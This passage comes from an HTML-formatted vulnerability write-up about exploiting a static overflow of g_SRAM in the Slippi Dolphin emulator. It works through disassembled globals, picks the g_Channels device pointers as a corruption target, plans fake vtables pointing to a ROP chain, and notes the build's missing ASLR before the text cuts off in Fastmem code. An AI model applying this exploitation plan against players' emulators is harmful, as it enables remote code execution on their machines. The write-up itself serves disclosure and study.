&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        SRAMFlags flags;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;     &#x2F;&#x2F; Device and operations flag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; Stored configuration value from the extended SRAM area&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u8 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;flash_id&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;     &#x2F;&#x2F; flash_id[2][12] 96bit memorycard unlock flash ID&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u32 wirelessKbd_id;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;     &#x2F;&#x2F; Device ID of last connected wireless keyboard&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u16 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;wirelessPad_id&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;  &#x2F;&#x2F; 16-bit device ID of last connected pad.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u8 dvderr_code;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;         &#x2F;&#x2F; last non-recoverable error from DVD interface&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u8 __padding0;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;          &#x2F;&#x2F; reserved&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u8 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;flashID_chksum&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;   &#x2F;&#x2F; 8-bit checksum of unlock flash ID&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u32 __padding1;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;         &#x2F;&#x2F; padding&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And &lt;code&gt;g_SRAM&lt;&#x2F;code&gt; is defined as a global variable near the top of &lt;code&gt;EXI.cpp&lt;&#x2F;code&gt;, making this a static memory overflow:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Copyright 2008 Dolphin Emulator Project&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Licensed under GPLv2+&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Refer to the license.txt file included.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SRAM g_SRAM;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span&gt; g_SRAM_netplay_initialized &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;namespace&lt;&#x2F;span&gt;&lt;span&gt; ExpansionInterface&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Looking at a locally compiled build of Slippi Dolphin, these are the fields immediately following &lt;code&gt;g_SRAM&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;c41&quot;&gt;
&lt;code style=&quot;white-space: pre; font-family: monospace;&quot; class=&quot;c1 c41&quot;&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E30 &lt;&#x2F;span&gt;&lt;span class=&quot;c3&quot;&gt;; SRAM g_SRAM
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E30 &lt;&#x2F;span&gt;&lt;span class=&quot;c7&quot;&gt;?g_SRAM@@3TSRAM@@A SRAM &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;c9&quot;&gt;?&amp;gt;             &lt;&#x2F;span&gt;&lt;span class=&quot;c15&quot;&gt;; DATA XREF: Header::Header(int,ushort,bool)+46&amp;#8593;o
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E30                                         &lt;&#x2F;span&gt;&lt;span class=&quot;c15&quot;&gt;; NetPlayServer::OnConnect(_ENetPeer *)+3E4&amp;#8593;o ...
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E70 &lt;&#x2F;span&gt;&lt;span class=&quot;c3&quot;&gt;; bool g_SRAM_netplay_initialized
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E70 &lt;&#x2F;span&gt;&lt;span class=&quot;c7&quot;&gt;?g_SRAM_netplay_initialized@@3_NA &lt;&#x2F;span&gt;&lt;span class=&quot;c32&quot;&gt;db &lt;&#x2F;span&gt;&lt;span class=&quot;c9&quot;&gt;?  &lt;&#x2F;span&gt;&lt;span class=&quot;c15&quot;&gt;; DATA XREF: ExpansionInterface::Init(void)+1F&amp;#8593;r
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E70                                         &lt;&#x2F;span&gt;&lt;span class=&quot;c15&quot;&gt;; NetPlayServer::OnConnect(_ENetPeer *)+380&amp;#8593;r ...
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E71                 &lt;&#x2F;span&gt;&lt;span class=&quot;c32&quot;&gt;align &lt;&#x2F;span&gt;&lt;span class=&quot;c31&quot;&gt;8
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E78 &lt;&#x2F;span&gt;&lt;span class=&quot;c3&quot;&gt;; std::map&amp;lt;int,std::string&amp;gt; quickChatOptions_103
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E78 &lt;&#x2F;span&gt;&lt;span class=&quot;c7&quot;&gt;quickChatOptions_103 std::map&amp;lt;int,std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;,std::less&amp;lt;int&amp;gt;,std::allocator&amp;lt;std::pair&amp;lt;int const ,std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt; &amp;gt; &amp;gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;c9&quot;&gt;?&amp;gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E78                                         &lt;&#x2F;span&gt;&lt;span class=&quot;c15&quot;&gt;; DATA XREF: _dynamic_initializer_for__quickChatOptions___103+81&amp;#8593;w
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E78                                         &lt;&#x2F;span&gt;&lt;span class=&quot;c15&quot;&gt;; _dynamic_initializer_for__quickChatOptions___103+AD&amp;#8593;w ...
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E88 &lt;&#x2F;span&gt;&lt;span class=&quot;c3&quot;&gt;; CoreTiming::EventType *ExpansionInterface::changeDevice
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E88 &lt;&#x2F;span&gt;&lt;span class=&quot;c7&quot;&gt;ExpansionInterface__changeDevice &lt;&#x2F;span&gt;&lt;span class=&quot;c32&quot;&gt;dq &lt;&#x2F;span&gt;&lt;span class=&quot;c9&quot;&gt;?   &lt;&#x2F;span&gt;&lt;span class=&quot;c15&quot;&gt;; DATA XREF: ExpansionInterface::ChangeDevice(uchar,TEXIDevices,uchar)+24&amp;#8593;r
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E88                                         &lt;&#x2F;span&gt;&lt;span class=&quot;c15&quot;&gt;; ExpansionInterface::ChangeDevice(uchar,TEXIDevices,uchar)+43&amp;#8593;r ...
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E90 &lt;&#x2F;span&gt;&lt;span class=&quot;c3&quot;&gt;; CoreTiming::EventType *ExpansionInterface::updateInterrupts
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E90 &lt;&#x2F;span&gt;&lt;span class=&quot;c7&quot;&gt;ExpansionInterface__updateInterrupts &lt;&#x2F;span&gt;&lt;span class=&quot;c32&quot;&gt;dq &lt;&#x2F;span&gt;&lt;span class=&quot;c9&quot;&gt;?
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E90                                         &lt;&#x2F;span&gt;&lt;span class=&quot;c15&quot;&gt;; DATA XREF: ExpansionInterface::Init(void)+25B&amp;#8593;w
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E90                                         &lt;&#x2F;span&gt;&lt;span class=&quot;c15&quot;&gt;; ExpansionInterface::ScheduleUpdateInterrupts(CoreTiming::FromThread,int)+9&amp;#8593;r
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E98 &lt;&#x2F;span&gt;&lt;span class=&quot;c3&quot;&gt;; std::array&amp;lt;std::unique_ptr&amp;lt;CEXIChannel&amp;gt;,3&amp;gt; ExpansionInterface::g_Channels
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E98 &lt;&#x2F;span&gt;&lt;span class=&quot;c7&quot;&gt;ExpansionInterface__g_Channels std::array&amp;lt;std::unique_ptr&amp;lt;CEXIChannel,std::default_delete&amp;lt;CEXIChannel&amp;gt; &amp;gt;,3&amp;gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;c9&quot;&gt;?&amp;gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E98                                         &lt;&#x2F;span&gt;&lt;span class=&quot;c15&quot;&gt;; DATA XREF: ExpansionInterface__ChangeDeviceCallback+20&amp;#8593;o
&lt;&#x2F;span&gt;&lt;span class=&quot;c46&quot;&gt;.data:0000000001BD7E98                                         &lt;&#x2F;span&gt;&lt;span class=&quot;c15&quot;&gt;; ExpansionInterface::DoState(PointerWrap &amp;amp;)+12&amp;#8593;o ...&lt;&#x2F;span&gt;
&lt;&#x2F;code&gt;&lt;style type=&quot;text&#x2F;css&quot;&gt;
&#x2F;* line-fg-default *&#x2F;
.c1 { color: #AAAAAA; }
&#x2F;* line-bg-default *&#x2F;
.c41 { background-color: #2D2D2D; }
&#x2F;* line-pfx-data *&#x2F;
.c46 { color: #7C7C61; }
&#x2F;* line-fg-repeatable-comment *&#x2F;
.c3 { color: #82607E; }
&#x2F;* line-fg-regular-data-name *&#x2F;
.c7 { color: #EBEBB9; }
&#x2F;* line-fg-punctuation *&#x2F;
.c9 { color: silver; }
&#x2F;* line-fg-keyword *&#x2F;
.c32 { color: #ABABAB; }
&#x2F;* line-fg-data-xref *&#x2F;
.c15 { color: #7C7C61; }
&#x2F;* line-fg-numlit-in-data *&#x2F;
.c31 { color: #D25032; }
&lt;&#x2F;style&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;quickChatOptions&lt;&#x2F;code&gt; doesn&#x27;t appear to be a good corruption target since there wouldn&#x27;t be any function pointers to mess with, and it&#x27;s only used by a config menu that isn&#x27;t even accessible in Playback builds. &lt;code&gt;ExpansionInterface::changeDevice&lt;&#x2F;code&gt; is a callback, which seems more promising, but it only gets called when an EXI device gets changed during emulation, which can only happen from the user messing with config menus or savestates. &lt;code&gt;updateInterrupts&lt;&#x2F;code&gt; is also a callback, but that only gets called from ethernet or microphone EXI devices, neither of which are enabled by default.&lt;&#x2F;p&gt;
&lt;p&gt;Finally, this leaves &lt;code&gt;ExpansionInterface::g_Channels&lt;&#x2F;code&gt;. &lt;code&gt;CEXIChannel&lt;&#x2F;code&gt; doesn&#x27;t contain any function pointers on its own, but it does contain pointers to &lt;code&gt;IEXIDevice&lt;&#x2F;code&gt; objects, which have plenty of virtual functions to overwrite.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Devices&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;enum&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;    NUM_DEVICES&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;std::array&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;std::unique_ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;IEXIDevice&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;, NUM_DEVICES&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; m_devices;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So, the plan here is to create a fake &lt;code&gt;CEXIChannel&lt;&#x2F;code&gt; populated with fake &lt;code&gt;IEXIDevice&lt;&#x2F;code&gt; objects with virtual functions that point to a ROP chain. Though, I&#x27;ll have to figure out how to get the base addresses of both the main executable and the emulated main RAM before I can do any of that. It would be really nice if I didn&#x27;t have to deal with leaking addresses, though...&lt;&#x2F;p&gt;
&lt;p&gt;Who am I kidding? This version of Dolphin is 64-bit and gets compiled with Visual Studio 2019. Obviously, there&#x27;s gonna be ASLR! Still, I guess it doesn&#x27;t hurt to check.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;slippirce&#x2F;lolnoaslr.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;It turns out that Dolphin didn&#x27;t have ASLR since a &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dolphin-emu&#x2F;dolphin&#x2F;commit&#x2F;ccd30024b30c71743a2c588ccfd748d017a099da#diff-e82c532fb1e912b5e01b59a2b66cf2febaac9c690b7b4de3f78482b8a59ced80&quot;&gt;VS2013 update in 2013&lt;&#x2F;a&gt; and didn&#x27;t get it back until &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dolphin-emu&#x2F;dolphin&#x2F;pull&#x2F;5271&quot;&gt;June 2017&lt;&#x2F;a&gt;. The last time Faster Melee synced with Ishiiruka was about a month after this pull request got merged, but they synced it with its &quot;Stable&quot; branch, which didn&#x27;t have this commit in it. Ouch!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;slippirce&#x2F;lolyesaslr.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Anyway, I still need to find where the emulated main RAM is in memory to do anything useful, so let&#x27;s see how I can get that.&lt;&#x2F;p&gt;
&lt;p&gt;Dolphin uses a very interesting method of ensuring that its emulated memory accesses are as fast as possible. Traditionally, given a hardcoded address map, an emulator would manually check the ranges on each memory access to see which region of memory it should go to. Doing this for every single memory access is quite slow, so Dolphin&#x27;s developers came up with a trick called &quot;Fastmem&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;First, a massive 16GB region of address space is reserved &lt;em&gt;(not allocated!)&lt;&#x2F;em&gt;. This doesn&#x27;t give it any backing memory, but just reserves that part of the address space for use later.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; MemArena::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;FindMemoryBase&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; Non-Win64 omitted&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; base &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; (u8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;VirtualAlloc&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x400000000&lt;&#x2F;span&gt;&lt;span&gt;, MEM_RESERVE, PAGE_READWRITE);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    VirtualFree&lt;&#x2F;span&gt;&lt;span&gt;(base,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;, MEM_RELEASE);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; base;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then, parts of that reserved region are carved out and allocated for the regions with backing memory.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;static bool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; Memory_TryBase&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; base&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; MemoryView&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; views&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; num_views&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; flags&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; MemArena&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; arena&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; OK, we know where to find free space. Now grab it!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; We just mimic the popular BAT setup.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    int&lt;&#x2F;span&gt;&lt;span&gt; i;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; (i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; num_views; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        MemoryView&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; view &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;= &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;views&lt;&#x2F;span&gt;&lt;span&gt;[i];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;        void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; view_base;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;        bool&lt;&#x2F;span&gt;&lt;span&gt; use_sw_mirror;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;        SKIP&lt;&#x2F;span&gt;&lt;span&gt;(flags,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;flags&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; _ARCH_64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; On 64-bit, we map the same file position multiple times, so we&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; don&amp;#39;t need the software fallback for the mirrors.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        view_base &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; base &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;virtual_address&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
